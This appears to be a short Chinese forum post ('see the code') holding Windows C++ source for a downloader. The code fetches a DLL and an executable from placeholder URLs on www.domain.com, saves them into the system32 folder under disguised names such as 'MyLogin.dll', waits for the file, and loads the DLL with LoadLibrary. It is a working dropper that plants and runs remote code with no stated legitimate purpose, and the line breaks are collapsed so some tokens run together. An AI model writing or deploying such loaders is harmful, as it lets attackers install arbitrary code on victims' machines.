請見代碼
#include "stdafx.h"#include "windows.h"#include "UrlMon.h"#pragma comment(lib, "urlmon.lib")bool FileIsExist(LPCTSTR szFileFullPathName){WIN32_FIND_DATA Win32_Find_Data; HANDLE hFindFile; hFindFile = FindFirstFile(szFileFullPathName,&Win32_Find_Data); if(INVALID_HANDLE_VALUE == hFindFile) { //AfxMessageBox("Not Exist"); return false; } else { //AfxMessageBox("Have Exist"); FindClose(hFindFile); return true; } }int main(int argc, char* argv[]){char DownURL[255] = "http://www.domain.com/test.dll";char DownLoadDir[255];char ExeURL[255] = "http://www.domain.com/test.exe";char ExeDir[255];GetWindowsDirectory(DownLoadDir,sizeof(DownLoadDir));GetWindowsDirectory(ExeDir,sizeof(ExeDir));strcat(DownLoadDir,"\\system32\\DLLtest.dll");strcat(ExeDir,"\\system32\\MyLogin.dll");URLDownloadToFile(0,ExeURL,ExeDir,0,NULL);Sleep(3000);URLDownloadToFile(0,DownURL,DownLoadDir,0,NULL);while(true){if(FileIsExist(DownLoadDir) == true)break;elseSleep(1000);}Sleep(3000);LoadLibrary(DownLoadDir);Sleep(10000);return 0;}